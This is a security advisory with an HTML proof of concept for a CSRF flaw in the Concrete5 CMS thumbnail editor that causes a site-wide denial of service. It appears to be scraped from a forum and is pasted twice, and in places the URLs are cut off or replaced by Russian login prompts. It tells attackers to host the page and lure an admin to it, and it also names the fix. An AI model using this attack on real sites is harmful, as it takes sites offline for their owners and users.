[+]-------------------------------------------------------------[+]
| Vulnerable Software: Concrete5 CMS |
| Vendor:
| Vulnerability Type: CSRF to DoS (disables installation) |
| Date Released: 23/04/2017 |
| Released by: Digital Gangster |
[+]-------------------------------------------------------------[+]
[+] Description:
Concrete5's Thumbnail Editor in the File Manager is vulnerable to CSRF, which allows remote attackers to disable the entire
installation of concrete5, by merely tricking an admin view a malicious page. This results in a site-wide denial of service
meaning neither the admin OR any of the website users can acccess the site.
-------------------------------------------------------------------------------------------------------------
[+] Summary:
The Thumbnail Editor function in the File Manager of Concrete5 allows an admin to change a thumbnail of a picture.
However, this function does not have any CSRF tokens / any other protection from CSRF, thus allowing an attacker to
make an admin upload a picture.
If the picture is invalid, the image processor will throw an error immediately and when the admin visits the File Manager,
a side-wide error will trigger, making the site unusable! (Example:
The vulnerable parameter is 'imgData' POST/GET param in '
So, in order to trigger this site-wide error, an attacker would first have to make the admin do 2 things.
1.) Make the admin upload an invalid image
2.) Make the admin visit the File Manager
I came up with a proof of concept to do just that
[+] Proof of Concept:
-------------------------------------------------------------------------------------------------------------
<!DOCTYPE html>
<head>
<title>@digitalgangster | CSRF PoC | concrete5 </title>
</head>
<body>
<center>
<h1>Concrete5 CSRF - Proof of Concept</h1>
<h6> Author: <a href="
<a href="
<br>
</a>
<!-- Performing required action to exploit the CSRF vulnerability -->
<img
src="
onerror=this.src="
alt="GET REKT" />
<!-- Performing 2nd action to trigger CSRF resulting in site-wide DoS -->
<script>alert("CSRF Triggered - Site-wide DoS now in effect!");</script>
</center>
</body>
</html>
-------------------------------------------------------------------------------------------------------------
(Replace
The 'src' tag uploads the invalid image data, and the onerror=this.src="" makes a new 'src' tag and makes the admin visit the file manager, which then triggers the site wide error.
[+] Test it! :
You can create a 1 hour demo of concrete5 for free (
-------------------------------------------------------------------------------------------------------------
[+] Fix / Patch:
Add CSRF tokens, and make sure the image processor first validates that the uploaded image is a valid picture.
# Digital Gangster [2017-05-31]
| Vulnerable Software: Concrete5 CMS |
| Vendor:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
|| Vulnerability Type: CSRF to DoS (disables installation) |
| Date Released: 23/04/2017 |
| Released by: Digital Gangster |
[+]-------------------------------------------------------------[+]
[+] Description:
Concrete5's Thumbnail Editor in the File Manager is vulnerable to CSRF, which allows remote attackers to disable the entire
installation of concrete5, by merely tricking an admin view a malicious page. This results in a site-wide denial of service
meaning neither the admin OR any of the website users can acccess the site.
-------------------------------------------------------------------------------------------------------------
[+] Summary:
The Thumbnail Editor function in the File Manager of Concrete5 allows an admin to change a thumbnail of a picture.
However, this function does not have any CSRF tokens / any other protection from CSRF, thus allowing an attacker to
make an admin upload a picture.
If the picture is invalid, the image processor will throw an error immediately and when the admin visits the File Manager,
a side-wide error will trigger, making the site unusable! (Example:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
)The vulnerable parameter is 'imgData' POST/GET param in '
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
'So, in order to trigger this site-wide error, an attacker would first have to make the admin do 2 things.
1.) Make the admin upload an invalid image
2.) Make the admin visit the File Manager
I came up with a proof of concept to do just that
[+] Proof of Concept:
-------------------------------------------------------------------------------------------------------------
<!DOCTYPE html>
<head>
<title>@digitalgangster | CSRF PoC | concrete5 </title>
</head>
<body>
<center>
<h1>Concrete5 CSRF - Proof of Concept</h1>
<h6> Author: <a href="
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
">@digitalgangster</a></h6><a href="
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
"><br>
</a>
<!-- Performing required action to exploit the CSRF vulnerability -->
<img
src="
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
" onerror=this.src="
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
" alt="GET REKT" />
<!-- Performing 2nd action to trigger CSRF resulting in site-wide DoS -->
<script>alert("CSRF Triggered - Site-wide DoS now in effect!");</script>
</center>
</body>
</html>
-------------------------------------------------------------------------------------------------------------
(Replace
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
with the URL of the Concrete5 installation you are targeting, upload the HTML somewhere, and get an admin to visit that page.)The 'src' tag uploads the invalid image data, and the onerror=this.src="" makes a new 'src' tag and makes the admin visit the file manager, which then triggers the site wide error.
[+] Test it! :
You can create a 1 hour demo of concrete5 for free (
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
) & exploit it there!-------------------------------------------------------------------------------------------------------------
[+] Fix / Patch:
Add CSRF tokens, and make sure the image processor first validates that the uploaded image is a valid picture.
# Digital Gangster [2017-05-31]